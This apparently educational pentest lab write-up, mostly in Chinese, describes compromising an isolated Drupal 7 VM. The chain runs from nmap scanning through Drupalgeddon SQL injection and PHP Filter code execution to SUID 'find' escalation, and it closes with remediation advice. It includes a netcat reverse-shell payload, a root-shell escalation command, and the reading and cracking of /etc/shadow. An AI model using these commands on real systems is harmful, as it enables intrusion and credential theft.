Pentest Lab : Chaîne d'exploitation web et système (Drupal to Root)

免责声明

本项目是在受控且隔离的实验室环境中为教育和学术目的而完成的。未针对任何真实基础设施。目标是通过理解攻击机制来学习如何保护系统。

---

工作环境与目标

场景描述

本项目的目标是进行一次黑盒审计。这意味着分析在没有任何目标先验知识的情况下开始：未提供任何凭据、技术文档或源代码。

实验室架构

基础设施已在 VMware 上虚拟部署于一个隔离的私有网络（仅主机模式）中，以避免与外界交互。

• 攻击机（Kali Linux）： 192.168.78.131
  • 工具：Nmap、Python、Netcat、John the Ripper。
• 目标机（受害者）： 192.168.78.132
  • 操作系统：Linux（Debian）。
  • 初始状态：未知。

---

第一阶段：侦察与信息收集

第一步是通过端口扫描来绘制目标机器的攻击面。

执行命令： nmap -sV 192.168.78.132

发现的服务：

• 端口 22 (TCP)： SSH (OpenSSH 6.0p1)。
• 端口 80 (TCP)： HTTP 服务器 (Apache 2.2.22)。
• 端口 111 (TCP)： rpcbind。

对 Web 服务（端口 80）和 robots.txt 文件的分析揭示了 CMS Drupal 的存在。对源代码的检查发现了一个过时的版本：Drupal 7.x。

---

漏洞分析

侦察阶段的结果显示了一个关键的攻击面：一个未维护的 CMS Drupal 7。该版本历史上以存在重大安全漏洞（尤其是 "Drupalgeddon"）而闻名。

基于这一发现，审计转向了针对公开漏洞（CVE）的定向搜索。这一枚举确认了一条完整的利用链的存在，使得从一名简单的 Web 访问者升级到系统 "Root" 管理员成为可能。

已识别的攻击向量：

1. Web： SQL 注入 (CVE-2014-3704)。
2. 应用： "PHP Filter" 模块配置错误。
3. 系统： 系统二进制文件上的危险 SUID 权限。

---

利用（攻击链）

步骤 1：初始入侵（SQL 注入）

利用漏洞 CVE-2014-3704（Drupalgeddon）。Drupal 数据库 API 中的这一漏洞允许在无需认证的情况下注入 SQL 命令。

• 操作： 在 users 表中注入一个具有管理员权限的新用户。
• 结果： 获得 CMS 管理面板的访问权限。

获取 Python 脚本

步骤 2：代码执行（RCE 与反弹 Shell）

一旦以管理员身份登录，使用原生模块 PHP Filter。该模块配置不当，允许在网站页面中执行任意 PHP 代码。

• 载荷： <?php system('nc -e /bin/bash 192.168.78.131 4444'); ?>
• 结果： 在 Kali 机器上获得远程 shell（用户 www-data）。

步骤 3：权限提升（到 Root）

分析具有 SUID（设置用户 ID）权限的文件。发现 find 命令上的一个关键配置。

• 提升命令： find . -exec '/bin/sh' \;
• 结果： find 二进制文件以 root 身份执行，启动一个具有 Root (uid=0) 权限的 shell。

步骤 4：后渗透

一旦获得 root 访问权限，读取敏感文件 /etc/shadow 以渗漏用户密码的哈希值。

• 操作： 使用 John the Ripper 通过字典攻击破解 SHA-512 哈希。
• 结果： 获取 root/用户密码（复杂度较低），实现系统上的持久化控制。

---

总结

审计揭示了一个严重的风险等级。过时的 CMS 与系统配置疏忽（SUID）的结合导致了服务器的完全沦陷。

对企业的影响：

• 机密性： 可能渗漏客户数据库和系统文件（/etc/shadow）。
• 完整性： 网站数据的修改或完全删除。
• 可用性： 破坏或服务中断的风险。

优先行动计划：

1. 更新： 将 Drupal 迁移到最新稳定版本以修复 SQL 注入漏洞。
2. 系统加固： 移除非必需可执行文件的 SUID 位（chmod u-s /usr/bin/find）。
3. 最小权限： 如果非必需，则禁用 PHP Filter 模块。

---

文档

如需完整技术细节、所用脚本及深入分析，请查阅完整报告： 阅读审计报告 (PDF)

作者

Fabien MOINE